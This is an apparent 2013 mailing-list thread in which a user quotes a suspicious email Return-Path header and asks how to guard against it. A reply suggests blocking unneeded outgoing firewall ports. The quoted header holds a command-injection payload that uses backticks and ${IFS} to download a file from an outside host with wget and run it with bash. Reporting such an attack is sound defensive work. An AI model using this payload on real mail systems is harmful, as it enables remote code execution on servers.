Return-Path code execution exploit?

[Solbu]

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I just saw a user pasting what he think was an interesting Return-Path
header. It contains code and not a return address, that could be executed
if the recepient address does not exist.

The header line in question is this one: (sorry for the loong line)
===
Return-path: <no`wget${IFS}-O${IFS}/tmp/ul2sfwxaq7${IFS}booty4u.mobi/bla``bash${IFS}/tmp/ul2sfwxaq7`bo...@bitmynt.no>
===
He also says that there is no From:, body is "test", the rest is minmal.

Is there anything one can do to protect oneself from such attacks?
I tried google, but I get no usefull results.

- --
Solbu - http://www.solbu.net
PGP key ID: 0xFA687324
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[pio...@gmail.com]

On Monday, May 6, 2013 5:10:23 PM UTC+2, Solbu wrote:
> Is there anything one can do to protect oneself from such attacks?

Add rules to your firewall to allow outgoing connections only on valid ports. This one is trying to use port 60002. I do not know about any legitimate service using this port so it can be safe blocked on outgoing connections.